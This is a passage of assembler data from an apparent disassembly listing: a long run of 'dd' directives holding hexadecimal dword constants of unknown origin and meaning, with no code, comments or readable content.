		dd 26C4C897h, 5089F13Ah, 0A714A28Ch, 5A2AC548h,	0CC588AF1h
		dd 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h, 1E115632h
		dd 4247C0F2h, 6A1C47D8h, 1B17E334h, 0E70F0774h,	0DA3AC748h
		dd 0CC788EF1h, 0C8F71EA3h, 0B1FA3EC7h, 0E348EE85h, 0AF219A2Fh
		dd 186350E4h, 11C7A8BFh, 46C8C8FFh, 9091F23Ah, 2724A48Ch
		dd 0CA164949h, 0B0BF1EB1h, 990E72A0h, 0F25645C8h, 0A50CA093h
		dd 0CA494728h, 92F1F252h, 71A42C99h, 3948A938h,	0B095F29Ah
		dd 672CA58Ch, 0A2474B49h, 44869352h, 0C96B2B64h, 0F2FA5ECBh
		dd 0E60CC097h, 1C59552Dh, 98327A56h, 32A64CC8h,	3C4CC997h
		dd 0BA93730Eh, 0A733663Ch, 5A6ACD49h, 0C48B9AF3h, 19572E24h
		dd 0F362574Dh, 0A70CE09Bh, 0CCF94538h, 9BD2765Ch, 3AA74CE3h
		dd 39CEC9D7h, 0E79B9396h, 0E73CA76Ch, 9E7ACF49h, 0FEC59DF0h
		dd 0F73DA6ECh, 8E7ECFC9h, 0D46D9F13h, 4A073FA7h, 130A82D0h
		dd 6624DA1Eh, 0D069E340h, 0A1F43A86h, 706804A3h, 884E898Ch
		dd 18A2F45Ah, 8144A3DDh, 7A8CD143h, 0CD20A3F4h,	0D37F46E1h
		dd 0F49A90D1h, 0E14528A4h, 0D2537D48h, 0A5F4BA94h, 6F695D27h
		dd 9AD30A5Ah, 32A214DAh, 6F4D0DD5h, 0F29ED3CAh,	0D9B9A733h
		dd 4A874FA9h, 15027554h, 0AA2D4237h, 0CD5A9752h, 0A926DEA3h
		dd 54AA8D4Ch, 0DB54E981h, 5583F540h, 0E156AACAh, 76648011h
		dd 6D5F8E75h, 38FD5864h, 0D59690D6h, 61E56783h,	56B9215Ah
		dd 36B5563Bh, 59611557h, 0B0CF3ADBh, 7785D5D2h,	0F35D212Dh
		dd 62BE423Ah, 357E9ED5h, 19D95CE1h, 34229158h, 6864D095h
		dd 503B070Ah, 0B0B0E2BBh, 0BEBDC20h, 6B590B0Bh,	7FAFB656h
		dd 0DF1FAC25h, 86B8990Ah, 8D59B070h, 0CAD1686Ch, 0B56EAFD5h
		dd 6AE5A3AFh, 0DA9AD169h, 0B4F6B6CFh, 92FEADAAh, 5B2B596Ah
		dd 0B4B666D2h, 6CAD15B5h, 0DE5A9ABBh, 0A3B5F69Ah, 5D6C2D3Dh
		dd 6AC5BCBh, 0C5B9B8F7h, 3B6B6FEDh, 15A6D0DCh, 2B3DBEB6h
		dd 591BA163h, 0B69726D2h, 722EA563h, 0EADBDAFFh, 0D7BBB70Ah
		dd 0A96DECFDh, 8ADF599Bh, 9DC5BC17h, 2B99702Eh,	763AE25Eh
		dd 0E53DB3BDh, 4F99B761h, 0AE70A2C5h, 6CEF8D8Eh, 0B95D9B73h
		dd 0B6B57756h, 0F76DF00Dh, 0AFE5FFBh, 0FE05B4D8h, 0C0D82AFh
		dd 0B822FD60h, 0AE9603BCh, 0E01C0F71h, 0C2B83AFEh, 7FAD6609h
		dd 1DF9BCBh, 0B6C336C7h, 4785EF0Dh, 32FCDFCCh, 0DE1DC2D8h
		dd 4B8B5F2Fh, 0D73F1261h, 2F3DEFC4h, 0E0AC3F88h, 0C2789F16h
		dd 36ACE47Dh, 12635B3Ch, 7AC2D8CFh, 8780B16Dh, 171FE36Ch
		dd 1611B059h, 4C217EB2h, 1886F6E4h, 0ECC628C4h,	651C8991h
		dd 0C1F7C70Fh, 86F2664Fh, 24E04C9Dh, 55CB58FBh,	0B18D6C5Eh
		dd 972DE5DCh, 6DCFCCB9h, 0A58AFE72h, 0E725E61Ch, 0F63CC751h
		dd 4AB58A30h, 55AF3A66h, 2D6DBAB8h, 678B8D8Eh, 0AED99F2Dh
		dd 9D714D6Dh, 3E79CE9h,	84C0BA07h, 0D3A272BEh, 5AF65D8Ch
		dd 0CE12CDB9h, 0DCCFA4B2h, 797F29E3h, 73B658D2h, 0E4084993h
		dd 0D21A6F3Fh, 9933E618h, 0E0E9CBC7h, 0F3C7391Ah, 544E855h
		dd 0AB31E62Ah, 0AE5BD2B9h, 0CC190AB3h, 788F5965h, 753E0BCFh
		dd 0E8CCA9ACh, 0CCDA9349h, 99B5AEBFh, 4B632D6Dh, 97CADA8Fh
		dd 0D7ADB64Eh, 1B2969BCh, 66BAD3FBh, 0ECEFA871h, 5AEB69E6h
		dd 0EC4EA9A3h, 0EC2D672Eh, 0D9DA776Ah, 0B1E15E9Eh, 47E4AD95h
		dd 96DBF97Bh, 839B74AEh, 0DF666B0Dh, 0BEEDDCFAh, 3DA9A9F2h
		dd 1B2F256Ch, 613EE0CAh, 6E0DEFA7h, 0DD7B4B62h,	0B3F7EDDCh
		dd 6D509D51h, 0DDDF534Bh, 35B9B506h, 6348EEFCh,	2E80E07Ah
		dd 1CFDBCB7h, 0BBBF4766h, 0F726FCC2h, 5E1D25C4h, 0D2FB1785h
		dd 0B5F84F16h, 0E60B7FFEh, 0E118CF4Ch, 9DF866F0h, 0F1EAEC4Dh
		dd 38DBDBFAh, 6B65F8AEh, 0DF566708h, 95CADBB7h,	4CF99EB3h
		dd 5A16E1E9h, 39CE5ED4h, 622D01CFh, 0B9BC9EE7h,	762DA5BBh
		dd 0DEEFFD4Bh, 44BD7732h, 51D0FA5Fh, 2F6AEB4Bh,	0E2CE919h
		dd 4E83D434h, 572EF860h, 0F20F57EAh, 0EE3E95CFh, 0DBFD56D8h
		dd 0B37B0746h, 0B4E40ED3h, 0E6E0B7CBh, 2154F6DCh, 0D63C733Ah
		dd 0C777925Dh, 6E6B2FEBh, 3437B9DFh, 0FC0475EFh, 0EE2F0523h
		dd 0EE3B67BDh, 637BF707h, 5F560F09h, 8FDF5E32h,	0E5DF246Fh
		dd 5BCAF8AEh, 4F93949Eh, 0CF37E5FCh, 0BE6647F9h, 0BD0F9DA2h
		dd 770DB1E8h, 0F47E5278h, 3BBD4FA8h, 0CD7A6F0Fh, 91AEF287h
		dd 0E5EC649Fh, 0CF3B590Ah, 8DCD963Eh, 0D3574A4h, 0FED3DB4Ch
		dd 0E1373EBAh, 7B0961E7h, 0D7B29724h, 0B02C9D6Ah, 0FBFC895Fh
		dd 0CBF75DB6h, 6F65EC0Fh, 0E7456F9Fh, 1C23D91Ah, 0FE51F33Eh
		dd 365369CEh, 0AFD3875Fh, 2FC5F1FEh, 0D23393F6h, 3F27D8E1h
		dd 0F0E8EDF7h, 849BA348h, 0D6F247DAh, 0ECDCBBADh, 55FED7A2h
		dd 0BFD4BA9Fh, 2ADC745Bh, 0E761E81Dh, 7FC5C95Dh, 3B8035A0h
		dd 0A80476A7h, 7447E276h, 6762A7E8h, 0F80E7387h, 80674F5Eh
		dd 0B7DF813h, 0B7667F36h, 75E60672h, 0FB7F47D1h, 57F85C87h
		dd 82263D7Fh, 1B7C0645h, 142A7D26h, 72C57A7Fh, 2172961Ch
		dd 66BE82C6h, 6EA7207Dh, 8C70F711h, 271967B5h, 6F57145Ah
		dd 307E9833h, 75A07177h, 6316F26Dh, 1B83182Dh, 0A59266E7h
		dd 62E7F971h, 0D81D725h, 6F37156h, 6E16D26Ch, 7E5ED7FDh
		dd 0D82A5815h, 71783B7Dh, 3C856703h, 0B7D585E8h, 70B66C6Fh
		dd 6583F70Fh, 0C8606B08h, 85C6F185h, 96E1830h, 0C8396E36h
		dd 86980D6Eh, 517EF83Fh, 0D7BC68F8h, 8466A170h,	658396BDh
		dd 86CD7BE7h, 7AC7F086h, 27A75F5h, 21FE5CA7h, 285D60D7h
		dd 8217E874h, 627C1643h, 0A6CC8008h, 7F57C870h,	1662F745h
		dd 280B8797h, 6C486D71h, 21683610h, 175C8707h, 88E89688h
		dd 4288C86Ah, 0A87A7568h, 65C67D68h, 5A8946BFh,	983E7EA8h
		dd 50B8847Dh, 1683C886h, 0D6B780F8h, 89D64286h,	0A48BB864h
		dd 36E98956h, 7D76A58Ch, 0A98B16EEh, 0E71A6348h, 6D67015Dh
		dd 0CB87267Eh, 0F8CE7E67h, 6E88656Ah, 0B982E687h, 46827DD8h
		dd 5798AA8Ch, 87859590h, 78D58168h, 85072D87h, 5371E8BFh
		dd 0C69482E8h, 8E685A8Dh, 698746ADh, 386C8DB6h,	6CE71084h
		dd 0D47EE7EFh, 0E8EA8678h, 8E576B89h, 0FF8E26C8h, 38AE8E46h
		dd 42587690h, 5B7B48E0h, 0A8B08918h, 6996B172h,	2D70C726h
		dd 284471C7h, 9108CF72h, 0F7208FCh, 0F6BB8A49h,	90E8478Fh
		dd 0A161D6FDh, 0F8F78F98h, 89C9187Ch, 73650731h, 491975C8h
		dd 8D88DA85h, 558287Fh,	0B582FE99h, 877D6AB8h, 5F881859h
		dd 0FE8F2814h, 47498707h, 76E7FF76h, 0D07FA92Ah, 562572E6h
		dd 7BF8A680h, 0AF67F7F8h, 167A9485h, 81473A7Ch,	59686866h
		dd 0A9386887h, 8175EE80h, 3B917950h, 293D8BD9h,	75193888h
		dd 7760742h, 0B5BA95F8h, 9568818Eh, 1C9338DFh, 58C87365h
		dd 4CB7D450h, 827AA96Fh, 496A7988h, 8B296C52h, 5E9714FBh
		dd 0A4779725h, 90747497h, 224FD903h, 0C9834FC6h, 98543797h
		dd 869804A5h, 798C98B9h, 52C9754Fh, 9298D977h, 0A4209939h
		dd 99799498h, 98996986h, 0A7A899B9h, 99F99C99h,	0A099E79Ch
		dd 278A9A39h, 9A79A49Ah, 0A89A6551h, 0A5449AB9h, 9AF9AC9Ah
		dd 0B09AE537h, 252E9B39h, 9B79B49Bh, 0B89B6521h, 0A5189BB9h
		dd 9BF9BC9Bh, 0C09BE50Eh, 25039C39h, 9C79C49Ch,	0C89C64F6h
		dd 0A4ED9CB9h, 9CF9CC9Ch, 3398F4FFh, 59D09915h,	9D253F9Dh
		dd 0D69D453Ah, 0F39DB9FEh, 65229CE4h, 9E19E046h, 5C9E39E2h
		dd 79E442B4h, 9E99E89Eh, 0DE4A09E8h, 0B41E7349h, 9F10FF0Fh
		dd 0F49F39F2h, 79F69F59h, 9F99F89Fh, 0FC9FB9FAh, 0F9FE9FD9h
		dd 0A01A009Fh, 1D0FBA02h, 0E9957A04h, 0A09A0241h, 0CA0BA0Ah
		dd 0FA0EA0DAh, 0A059FBA0h, 359ED495h, 80DD41C4h, 0A190C60Ch
		dd 1CA1B0C8h, 9A1CA1DAh, 0A200C80Ch, 24A21A22h,	5A26A23Ah
		dd 0A27A28A2h, 2CA29A2Ah, 0DA2EA2BAh, 0A2FA30A2h, 34A31A32h
		dd 0EA33A33Ah, 0A1EA38A1h, 0F70DD0CEh, 242741D0h, 0D50F50Fh
		dd 430BE0C0h, 7A460C0Ah, 0A49A48A4h, 4C0BEA47h,	0FA4EA4DAh
		dd 0A51A50A4h, 54A53A52h, 9A56A4AAh, 0A59A54A4h, 5CA5BA5Ah
		dd 0FA57A5BAh, 0C0A45A5h, 40DB0C6h, 3A1449FAh, 0F60F543h
		dd 3D06A0F5h, 0FA6E0360h, 0A71A70A6h, 7302E036h, 7A74A75Ah
		dd 0A79A76A7h, 7AA7BA78h
		dd 0FA7CA7DAh, 0A81A7EA7h, 0FEA83A80h, 84A85A82h, 9A86A87Ah
		dd 0A8BA72A8h, 6A03DA6Fh, 80F60F60h, 0A914270Fh, 25026058h
		dd 9A98A970h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh,	0AA3AA2AAh
		dd 0A6AA5AA4h, 6AA6AA7Ah, 0F805802h, 0D8A13A6Ah, 0A9DA5419h
		dd 0F10EE47h, 8106E07Eh, 90710760h, 0ABB074ABh,	0BCABDABCh
		dd 7406FAh, 7106FACh, 0C6AC406Bh, 7AC8AC5Ah, 0AC1AC4ACh
		dd 0CDAC2ACCh, 1ACEACFAh, 0AD3AD0ADh, 0D4AD5AD2h, 9AD6AD7Ah
		dd 0ADBAD8ADh, 0CFADDADAh, 0BAE0ABEAh, 71AB9ABh, 73081076h
		dd 60F307E0h, 0F441EA0h, 8904907Eh, 1AF00920h, 0AF3AF2AFh
		dd 0F6AF5AF4h, 9AF8AF7Ah, 0AFBAFAAFh, 0FEAFDAFCh, 1B00AFFAh
		dd 49089B0h, 0EA0F407Eh, 1A6748CAh, 0F60F243h, 9405B043h
		dd 0A09F09A0h, 0B1309C09h, 16B15B14h, 9B18B17Bh, 0B1BB1AB1h
		dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 9AB12B1Eh,	70610940h
		dd 0A3E0F604h, 0FFE9423h, 0E0058034h, 34120FF0h, 0B35B34B3h
		dd 0FF404B36h, 40580E00h, 494A3D03h, 0F9430B09h, 50500E90h
		dd 9E09109h, 0AE0A80AEh, 0BB4A0AA0h, 0B4DB4CB4h, 50B4FB4Eh
		dd 3B52B51Bh, 0B55B54B5h, 58B57B56h, 3B5AB59Bh,	0AEB47B5h
		dd 9509109Eh, 90E90540h, 0E74250Fh, 3D0FF028h, 0BB6A0D5Ah
		dd 0B6DB6CB6h, 70B6FB6Eh, 3B72B71Bh, 0B75B74B7h, 78B77B76h
		dd 9B7AB79Bh, 0F70F2B7h, 0E70280FFh, 0F493B640h, 0F942FB3h
		dd 8F088078h, 20C20A30h, 0B8D0E30Ch, 90B8FB8Eh,	3B92B91Bh
		dd 0B95B94B9h, 98B97B96h, 0BB9AB99Bh, 0B9DB9CB9h, 0C20DEB9Ah
		dd 608D0A30h, 0B8207808h, 9D065423h, 50DBA690h,	0BAD0D80Dh
		dd 0B0BAFBAEh, 3BB2BB1Bh, 0BB5BB4BBh, 0B8BB7BB6h, 0BBBABB9Bh
		dd 0BBDBBCBBh, 0DB0D5BBAh, 509DA6A0h, 491BA606h, 0F842EB84h
		dd 60950570h, 0E10E409h, 0D00EA0DFh, 3BD2BD1Bh,	0BD5BD4BDh
		dd 0BD7BFED6h, 0DABD9BD8h, 0DBDCBDBBh, 0BDFBDEBDh, 0E6BDDBE0h
		dd 60E40E10h, 5709509h,	36421BC5h, 70F40DD0h, 0E00DD0Fh
		dd 0F2BF1BF0h, 5BF4BF3Bh, 0BF7BF6BFh, 0FABF9BF8h, 0DBFCBFBBh
		dd 0BFFBFEBFh, 3CBFFC00h, 60DD0F4Ah, 79EBE903h,	0B1548AAFh
		dd 0C0F8479Ah, 9F09304h, 0EE0ED0FFh, 5C140EC0h,	0C17C16C1h
		dd 1AC19C18h, 0DC1CC1BCh, 0C1FC1EC1h, 22C21C20h, 2C24C23Ch
		dd 0FF0EDC2h, 4C09509Fh, 0C41FC070h, 0EF0D802h,	329EA0FFh
		dd 0AC34C33Ch, 0EF0FF45h, 2C02C0D8h, 0FC09792Ch, 478C0B54h
		dd 8D0460F6h, 5A1009E0h, 0C47C46C4h, 0FEC49C48h, 60930A19h
		dd 0F0C3B04h, 0EE0DB02Bh, 5C54C4A0h, 0C57C56C5h, 0DB0EEA00h
		dd 0FC4F02B0h, 42DBC747h, 870460F5h, 1A0FC440h,	0C669F600h
		dd 0F2C69C58h, 9C6AC689h, 8709EC4h, 2B425C4Eh, 0B7E0E00h
		dd 0C6BC6CA0h, 779F4C6Dh, 0EC7CC79Ch, 9F8C7B9Fh, 0E00F7FEh
		dd 3DB3EC5Ch, 7C3F556Ch, 480F247h, 0F6099082h, 145F4470h
		dd 0C9044B00h, 92466C35h, 0FC950EECh, 0F0C33C8h, 8409A0F6h
		dd 0DC4F0480h, 0FF0DB02h, 55456C8Dh, 7C32C912h,	45BC93C9h
		dd 0AB454CA8h, 0BCAD450Ch, 0FFC9A44h, 5D02D0DBh, 0C8559BCh
		dd 476C8757h, 9507CC89h, 0F0E50EE0h, 0CC1CC00Dh, 0C4CC3CC2h
		dd 1001CC4Ch, 0CC5CC7CCh, 0CCCCBCCAh, 0FCCECCDCh, 0CC9CCACCh
		dd 0D0CD20DFh, 5CD4CCDCh, 0CCACD8CDh, 950EE0E5h, 4C9E07B0h
		dd 2D0F542h, 0E5C310C6h, 7CE60DD0h, 0CE9CE8CEh,	0EB0010DDh
		dd 0ACECCE8Ch, 0CF1CF0CEh, 0EDCF3CF2h, 7CF6CF4Ch, 0CF9CF8CFh
		dd 0FACEFCE9h, 0CCF8CF5Ch, 0CDBCF2CFh, 0B40C60FFh, 57A5C84Ch
		dd 47B7AE88h, 95079C89h, 30DF0EB0h, 0D11D100Dh,	14D13D12h
		dd 1001D14Dh, 0D10D17D1h, 1BD1255Ah, 3D18D15Dh,	0D1A2550Dh
		dd 23D1F559h, 8D21D20Dh, 0FE9D25D1h, 0D26D1FD1h, 23D1CD27h
		dd 0D25D17Dh, 0D22D26D2h, 19D2CD2Dh, 0ED1DD1DDh, 0D3BD3AD1h
		dd 0EB0DFD14h, 0F06C08D0h, 0CE1423CDh, 0EB0FF0C0h, 90D20DD0h
		dd 0D4BD4AD4h, 10D2D4Ch, 0FD4BD4E0h, 55AD49D4h,	54D4DD4Dh
		dd 0D57D4ADh, 0D53559D5h, 4FD52D5Bh, 1D53D5BDh,	0D60D58D5h
		dd 61D52D4Ch, 8255D5ADh, 0D69D4ED5h, 57D6CD61h,	0BD64D6FDh
		dd 0D60D6ED6h, 50D72D59h, 0DD4BD55Dh, 0FF0EB0Dh, 83D050C0h
		dd 959DCB7Bh, 0F7475CBh, 9306C048h, 0F0DF0EA0h,	0D8BD8A0Ch
		dd 8ED8DD8Ch, 0F001D8FDh, 0D8AD910Ch, 96D94D93h, 0D95D8BDh
		dd 0D99D95D9h, 98255D93h, 6D97D9BDh, 0D92D99D9h, 8ED98DA4h
		dd 2DA0D9BDh, 0D97DA9D9h, 0ADDA1D9Ch, 1DB0D8FDh, 0BCFDB1DBh
		dd 42063087h, 0D0F2422Dh, 0FF0BE02h, 390DB0EAh,	10C8DBFAh
		dd 0DC2A1B00h, 1CDC5DC3h, 8DBFDC4Ah, 0DC6DC1DCh, 0C7255DC6h
		dd 0EDC4DCCDh, 0DDFECDDCh, 0DD4DD1A1h, 0D1DCAA38h, 0FDD9DC8Dh
		dd 0DDADC1DCh, 0CCDCBDD6h, 0DD8DE0Dh, 0DDADDFDDh, 0DBDBFDCAh
		dd 0E0FF0EA0h, 492D7E0Bh, 0F842CC5Fh, 70680480h, 0D90E908h
		dd 0F8DF70CAh, 0BDFADF9Dh, 0CADFCDFh, 0FFDF9001h, 1E01DF8Dh
		dd 0DFADFDE0h, 0DFEE04h, 0BE07DF7Eh, 0E09E0AE0h, 0FE0DE08h
		dd 1E0EE10Eh, 0E0CE0FE1h, 3DFCE02h, 0BE05E17Eh,	0DFDE1CE1h
		dd 820E90D9h, 1DB70600h, 0BBCE142h, 0D80E90FFh,	0BE2AA190h
		dd 0A19E2CE2h, 2AE2E001h, 20C6E2FEh, 0E2DE30E3h, 34E36E31h
		dd 5E35E33Eh, 0E32E34E3h, 2BE3EE39h, 0CE37E40Eh, 0E3BE3FE2h
		dd 3CE47E3Ah, 8E4AE41Eh, 0E48E45E4h, 42E4EE4Bh,	6E36E46Eh
		dd 0E90D80Ch, 0ED0BB0FFh, 0BD80BC6Dh, 474D8263h, 5F0480F5h
		dd 60E807D0h, 0E650C40Dh, 68E67E66h, 4E6AE69Eh,	0E670010Ch
		dd 55E66676h, 0DE68E6B2h, 674E70E6h, 77E74E65h,	0E79E6EEh
		dd 0CE7BFEE7h, 0E76E77E6h, 82E7CE73h, 0E6CE78Eh, 0E71E7FE8h
		dd 72E75E7Eh, 0AE8CE8BEh, 0E80D6E6h, 2305C07Bh,	0D0F8420Eh
		dd 0FF0B702h, 600D20E5h, 7001A4AAh, 0C0E9DA4h, 46E9FE9Fh
		dd 4A56EA2Ah, 0A48E9EEAh, 0A3EA8EA1h, 0AEA0EA7Eh, 0EACEADEAh
		dd 0AEE9C676h, 0EA9EA4Eh, 0EABEAEEBh, 74EA0EAFh, 2A49EB86h
		dd 0EB9EB1EAh, 0D2A57EC0h, 70FF0E50h, 490E590Bh, 8942BDEFh
		dd 607905CCh, 0C50D30Eh, 0D2ED1ED0h, 5ED4ED3Eh,	10C5EDh
		dd 0D6ED8ED2h, 0BEDAED7Eh, 0ED7EDDEDh, 0E2EDFED5h, 4EE3ED0Eh
		dd 0EE6EE0EEh, 0EAEE7EDBh, 4EE5EE7Eh, 0EDAEDDEDh, 0F1EE4EDFh
		dd 0BEF4EE9Eh, 0E60D3EDh, 3BE92077h, 0F0B4E95Ch, 0CE0E20Fh
		dd 2F010BAh, 0AF04F03Fh, 0F030010Bh, 6F07F07h, 0CF05F08Fh
		dd 0F0AF05F0h, 10F0AF01h, 4F14F0BFh, 0F12F13F1h, 0DF13F0Eh
		dd 9F11F17Fh, 0F02F1EF1h, 1AF15F1Ch, 0F0FF1DFh,	0EF1BF2FEh
		dd 0F02F0DF0h, 0FF0E20CEh, 8EC70B40h, 8B6D07C0h, 4847BD09h
		dd 0C0770560h, 0EF50C70Dh, 3CED9F3Ah, 0DEF3EF4Fh, 0ED3EE8F3h
		dd 40EECEEDh, 0EEEFED8Fh, 0EE5ED1F3h, 3DF49F43h, 0BEEBF3FFh
		dd 0C5F50F3h, 770DC0C7h, 0FE930560h, 2D0F941h, 0BDCB20B2h
		dd 0FF5E0A90h, 0F61F60F5h, 600010A9h, 3F64F64Fh, 0F62F65F6h
		dd 67F62F69h, 0DF67F5EFh, 0F71F68F6h, 6FF70F71h, 0AF70F6BFh
		dd 0F6EF74F6h, 5FF7BF76h, 7F72F79Fh, 0F6CF7AF7h, 6BF78F7Dh
		dd 0DF5FF6AFh, 0B2CA10Bh, 5B4B6F2Fh, 0D476671Eh, 530460Eh
		dd 51ECF077h, 0F43F3AFh, 0EE1F40EFh, 4CF98F99h,	0BF97F9DFh
		dd 0F9DEEEF9h, 0EAF9FEE8h, 0BF41255Eh, 0F3AF95F4h, 4B0790D3h
		dd 0DB2DC710h, 0FF0B102h, 0A40B20D2h, 7FB6FB50h, 0A4FB8FBh
		dd 55FB8001h, 6FBBFB52h, 0FB9FBFFBh, 0BFFB7FBEh, 3FBAFC1Fh
		dd 0FC8FC0FCh, 0C8FCBFC7h
		dd 0FEBDFC1Fh, 0AFD0FCCFh, 0FC6FCFFCh, 0CAFCEFC5h, 9FC5FD0Fh
		dd 0FD4FDAFCh, 0D2FC4FD2h, 4FC2FC6Fh, 0D20B20Ah, 8B0B10FFh
		dd 4F31C3CFh, 47C8B793h, 9304BF90h, 1EF5FA9Fh, 0ED955AEFh
		dd 41F99559h, 7FA6EF2Fh, 0FF3EEDFFh, 42FFCFF6h,	1100FA6Fh
		dd 62C0D8A0h, 1C120B02h, 0C1A14018h, 160F0A84h,	22310874h
		dd 2D158A42h, 0ED38445Eh, 0F92312CEh, 0F9047DE0h, 588B5F31h
		dd 4AD1A4FFh, 4AE55295h, 0B402A996h, 6172997Ch,	5D2D994Ch
		dd 53395C2Eh, 32974D25h, 5A04F615h, 9A4BE7D3h, 8CE26D3Ah
		dd 0CDE933C9h, 328D2CA2h, 0E714AA1Dh, 7F39A8D0h, 8A99B4F2h
		dd 0B17FB496h, 190C785Ah, 0B258EC56h, 7486CD65h, 0AFDEAF07h
		dd 0BDB4D461h, 2E571B85h, 7EC36A5Ch, 0F69783D5h, 7BBE5EECh
		dd 0B25931DBh, 8C341B87h, 0C61F0D85h, 62F110C8h, 3F1D8DC6h
		dd 18B91C86h, 991B6E34h, 6F9B1580h, 0CC7E2C45h,	5FE6572h
		dd 562B3A1Dh, 9F4DA5D1h, 749A2D46h, 4DADD66Ah, 2FC662E7h
		dd 7DCC0AD6h, 9B16DF6Dh, 0B9DB6D76h, 0BDD6E5BDh, 0F0F7179Bh
		dd 2CAEF1BEh, 160A2319h, 9DCD60AFh, 5D1E873Fh, 0D0EA74FAh
		dd 9EC75403h, 0EE76FB5Dh, 0A77FBDDDh, 28960BCEh, 0D4AE4B2Eh
		dd 0C6CF990Eh, 0A4D8792Ch, 5F1F8319h, 0F5FA7CFEh, 9FB007EBh
		dd 0FE7EFF5Fh, 0C7CBFDFDh, 7013FEFh, 693E3024h,	166791B0h
		dd 0AE23D01Bh, 6374B341h, 26DF2DCBh, 0BD2F0E04h, 0A430C41Ch
		dd 4220F07Bh, 291C3907h, 465C1605h, 1344B124h, 4531444Fh
		dd 0B1616A5Ch, 845F1745h, 6B194631h, 1B46B151h,	4731C46Fh
		dd 9154771Dh, 911C52C5h, 0F0220743h, 2F245060h,	9C471124h
		dd 0B2649672h, 849F2749h, 0A7294A32h, 2B4AB2A4h, 32B4AFh
		dd 0B2E4B72Ch, 9493274Bh, 33228BC4h, 0DE421324h, 42ADF426h
		dd 3324C8E1h, 862749Fh,	8360802h, 4EA4FE79h, 33C4EF3Bh
		dd 0ACF73D4Fh, 0FF3F1233h, 41503404h, 12342507h, 34450F3Eh
		dd 65174551h, 0FD3E51B4h, 200D8424h, 9D217882h,	0E531F331h
		dd 39C46904h, 0D273D3A7h, 51543501h, 54B52547h,	3541D553h
		dd 654D54D5h, 5552D5B5h, 5955D555h, 0D6152567h,	15C56955h
		dd 11CF4F57h, 4C139A47h, 74D9319h, 0CD1094CDh, 50BCD4B9h
		dd 0B1E506D8h, 821487E7h, 2F8B8278h, 5AB6A5A6h,	36C5AF6Bh
		dd 0E5B76D5Bh, 0BF6F5BB6h, 715C3705h, 8B9705C7h, 0E1488226h
		dd 21E47B07h, 66759E4Bh, 7A9D2230h, 9F07C1EEh, 37C5EE7Bh
		dd 0ADF17D5Fh, 0FF7F5FB7h, 811F77F5h, 60B82607h, 0F7AE0182h
		dd 66107F9Fh, 1B85DFD8h, 89623886h, 0E2B8A627h,	4749EB8Ah
		dd 61D61989h, 89615957h, 6437B635h, 1DD61E3Dh, 2290CC3Fh
		dd 66561B87h, 6F9765B9h, 9965E180h, 66B9A667h, 39C66F9Bh
		dd 0E6779D67h, 7798E759h, 0A41CEFEh, 3358FC33h,	48FE7FB7h
		dd 96449302h, 0A769BA66h, 6A3A869Fh, 0BAA6A7A9h, 0C6AFAB6Ah
		dd 0B7AD6B3Ah, 1E131AE6h, 5927F8FCh, 2B558792h,	0B58F90C2h
		dd 1DB1C2CBh, 381EA7B4h, 6E21C07Ah, 1BA6E7B9h, 0C6EA1707h
		dd 0F7BD6F3Bh, 0BF6FBBE6h, 703C06FFh, 3BBF01C1h, 0B0E01EF0h
		dd 16B3DD67h, 1284C2C6h, 4A11044h, 0BCA727C9h, 0C72FCB72h
		dd 21CD733Ch, 0CF73BCE7h, 743D073Fh, 0BCD747D1h, 474FD374h
		dd 4C12F53Dh, 7D98C2C0h, 0E41366D6h, 191AE3B3h,	91DCDC76h
		dd 0AA711F27h, 0DF77A691h, 9A5E077Fh, 0BE219C65h, 478FE378h
		dd 97E5793Eh, 0E779BE67h, 7A3E879Fh, 0FE1FA7E9h, 1ABDF79h
		dd 0CB8E9F47h, 7A9EA772h, 9685D9A4h, 0A5BFC45Bh, 47CFF37Ch
		dd 0D65CFCBFh, 0F77DBF67h, 0FE3F87DFh, 0BFA1665Ch, 0AFEFFB7Eh
		dd 0F7FD169Fh, 0FDFFBFE7h, 0FA2007D3h, 240317Ch, 780D016h
		dd 0FE026044h, 60C017Dh, 0F81D036h, 25046084h, 4A01C0C8h
		dd 0B1781D83h, 3764861Dh, 2ED4B7BBh, 8791B783h,	423844C2h
		dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 650C6184h
		dd 0B07DB0A8h, 81B96C4Bh, 0B8663EC7h, 0D0F61E43h, 62043F87h
		dd 0F286910h, 83F0DC77h, 720D97Dh, 0BE44783Dh, 4F89D114h
		dd 0A5146284h, 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h
		dd 6264508Bh, 9B68C518h, 8CD1962Fh, 71231C59h, 25BB3892h
		dd 672C71A6h, 0E51C6384h, 0D63A4738h, 0C46E8AF1h, 0B8ED1E63h
		dd 91E62DC7h, 133B658Ch, 46D1B507h, 90D2163Fh, 22644487h
		dd 4648B915h, 6B2CF236h, 1D211B3Ch, 564A4939h, 0C49792D2h
		dd 8992664h, 524990C9h,	65049F93h, 4A394528h, 9391BA52h
		dd 2964F2C6h, 564AB955h, 0A395D2B6h, 529A253Ch,	0D65A4AF9h
		dd 0C4B796D2h, 4962DAE5h, 2D15B4A1h, 6604BF97h,	39FE8530h
		dd 0A6ECE14Ch, 0A5EC4A58h, 4CB98911h, 99D33666h, 9A65DC8Dh
		dd 6A4CF992h, 0D79AD356h, 4534623Ch, 766C4D36h,	4DF9BD3h
		dd 790083E7h, 3372364Ch, 6744E79Ch, 0CDA99B3Ah,	17E33563h
		dd 3AA220F8h, 7A4F39E5h, 0F87712D2h, 0C83345F8h, 346BB679h
		dd 0CCF01863h, 3A051F0Bh, 0D4168250h, 684507A0h, 50BA1542h
		dd 8FB43686h, 30C7C0F2h, 410D719Ah, 0D11AE5BEh,	0E03EC618h
		dd 767ABDB9h, 9D1FA3D4h, 0BA203CA4h, 8344618Fh,	46BD15A2h
		dd 2F56045Dh, 0A5D4B5EFh, 4C69852Fh, 9A533A65h,	37A6D4D6h
		dd 754E69C5h, 0F69E53BAh, 53FA7D4h, 3A85506Ah, 0D516A254h
		dd 6A4547A8h, 2F5A7152h, 0A4E5B581h, 30E8C528h,	0AA0BF2ECh
		dd 57AAD556h, 0B5566AC5h, 76AE55BAh, 55FABD5h, 3AC5586Bh
		dd 0D596B256h, 6B4567ACh, 56BAD55Ah, 0ADD5B6B6h, 5C6B856Fh
		dd 92D52AC1h, 0DAA2B53Eh, 0F4336948h, 0BE57D44Ah, 7FAFD5F6h
		dd 5606C05h, 16C2583Bh,	4587B0D6h, 0BB15626Ch, 0D636C658h
